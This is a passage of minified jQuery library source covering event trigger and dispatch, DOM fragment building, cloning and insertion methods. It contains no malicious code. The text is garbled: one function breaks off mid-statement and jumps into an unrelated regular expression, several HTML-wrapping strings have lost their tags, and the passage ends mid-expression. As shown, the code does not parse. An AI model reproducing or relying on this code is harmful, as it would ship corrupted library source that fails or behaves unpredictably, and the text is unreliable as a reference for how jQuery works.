0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,bb=/<([\w:]+)/,cb=/<|&#?\w+;/,db=/<(?:script|style|link)/i,eb=/checked\s*(?:[^=]|=\s*.checked.)/i,fb=/^$|\/(?:java|ecma)script/i,gb=/^true\/(.*)/,hb=/^\s*\s*$/g,ib={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ib.optgroup=ib.option,ib.tbody=ib.tfoot=ib.colgroup=ib.caption=ib.thead,ib.th=ib.td;function jb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function kb(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function lb(a){var b=gb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function mb(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function nb(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function ob(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pb(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=ob(h),f=ob(a),d=0,e=f.length;e>d;d++)pb(f[d],g[d]);if(b)if(c)for(f=f||ob(a),g=g||ob(h),d=0,e=f.length;e>d;d++)nb(f[d],g[d]);else nb(a,h);return g=ob(h,"script"),g.length>0&&mb(g,!i&&ob(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(cb.test(e)){f=f||k.appendChild(b.createElement("div")),g=(bb.exec(e)||["",""])[1].toLowerCase(),h=ib[g]||ib._default,f.innerHTML=h[1]+e.replace(ab,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=ob(k.appendChild(e),"script"),i&&mb(f),c)){j=0;while(e=f[j++])fb.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(ob(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&mb(ob(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(ob(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!db.test(a)&&!ib[(bb.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(ab,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ob(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(ob(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&eb.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(ob(c,"script"),kb),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,ob(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,lb),j=0;g>j;j++)h=f[j],fb.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(hb,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qb,rb={};function sb(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function tb(a){var b=l,c=rb[a];return c||(c=sb(a,b),"none"!==c&&c||(qb=(qb||n("